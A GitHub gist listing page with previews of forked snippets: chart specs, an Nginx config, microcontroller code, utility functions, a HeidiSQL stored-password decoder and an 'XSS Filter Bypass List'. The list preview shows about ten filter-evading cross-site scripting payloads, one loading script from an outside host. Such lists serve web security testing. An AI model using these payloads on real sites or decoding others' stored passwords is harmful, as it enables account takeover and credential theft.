Skip to content

Instantly share code, notes, and snippets.

@974steph
974steph / Vega grouped vertical bar chart
Created January 26, 2024 10:08 — forked from AlexAbes/Vega grouped vertical bar chart
Converted the Vega example grouped horizontal bar chart into a vertical one. https://vega.github.io/vega/examples/grouped-bar-chart/
{
"$schema": "https://vega.github.io/schema/vega/v5.json",
"width": 450,
"height": 350,
"padding": 5,
"data": [
{
"name": "table",
"values": [
@974steph
974steph / overpass_fun.md
Created October 6, 2023 09:14 — forked from michellemho/overpass_fun.md
CartoCamp Overpass Tutorial
@974steph
974steph / HeidiDecode.js
Created December 11, 2020 11:12 — forked from jpatters/HeidiDecode.js
Decodes a password from HeidiSQL. HeidiSQL passwords can be found in the registry. Use File -> Export Settings to dump all settings. Great for if you forget a password.
function heidiDecode(hex) {
var str = '';
var shift = parseInt(hex.substr(-1));
hex = hex.substr(0, hex.length - 1);
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16) - shift);
return str;
}
document.write(heidiDecode('755A5A585C3D8141786B3C385E3A393'));
@974steph
974steph / image-proxy.conf
Created January 5, 2019 18:43 — forked from tmaiaroto/image-proxy.conf
Nginx Image Filter Resize Proxy Service
# Feel free to change this path of course (and keys_zone value as well, but also change the usage of it below).
proxy_cache_path /var/www/cache/resized levels=1:2 keys_zone=resizedimages:10m max_size=1G;
# Gzip was on in another conf file of mine...You may need to uncomment the next line.
#gzip on;
gzip_disable msie6;
gzip_static on;
gzip_comp_level 4;
gzip_proxied any;
# Again, be careful that you aren't overwriting some other setting from another config's http {} section.
@974steph
974steph / ws-cli.php
Created December 16, 2017 18:22 — forked from ikwattro/ws-cli.php
php: simple websocket client
<?php
/*
based on: http://stackoverflow.com/questions/7160899/websocket-client-in-php/16608429#16608429
FIRST EXEC PYTHON SCRIPT TO GET HEADERS
*/
$ws = new ws(array
(
'host' => '127.0.0.1',
'port' => 8080,
@974steph
974steph / HueLight.ino
Created December 13, 2017 21:20 — forked from AdySan/HueLight.ino
Philips Hue clone using ESP8266 and NeoPixels along with HAP-NodeJS
#include <ESP8266WiFi.h>
#include <WiFiClient.h>
#include <ESP8266mDNS.h>
#include <WiFiUdp.h>
#include <ArduinoOTA.h>
#include <PubSubClient.h>
#include <Adafruit_NeoPixel.h>
#define PIN D4
Adafruit_NeoPixel strip = Adafruit_NeoPixel(16, PIN, NEO_GRB + NEO_KHZ800);
@974steph
974steph / slugify.js
Created September 25, 2017 08:38 — forked from lilmuckers/slugify.js
Javascript Slugify function.
String.prototype.slugify = function()
{
var p = ['.', '=', '-'];
var s = '-';
//now we need to do some fiddling with special characters
var replaceArray = {
'a': /à|á|å|â/,
'e': /è|é|ê|ẽ|ë/,
'i': /ì|í|î/,
@974steph
974steph / xxsfilterbypass.lst
Created May 4, 2017 15:03 — forked from rvrsh3ll/xxsfilterbypass.lst
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@974steph
974steph / leaflet-google.js
Created February 11, 2017 20:14 — forked from crofty/leaflet-google.js
Leaflet plugin that enables the use of Google Map tiles - http://matchingnotes.com/using-google-map-tiles-with-leaflet
/*
* L.TileLayer is used for standard xyz-numbered tile layers.
*/
L.Google = L.Class.extend({
includes: L.Mixin.Events,
options: {
minZoom: 0,
maxZoom: 18,
tileSize: 256,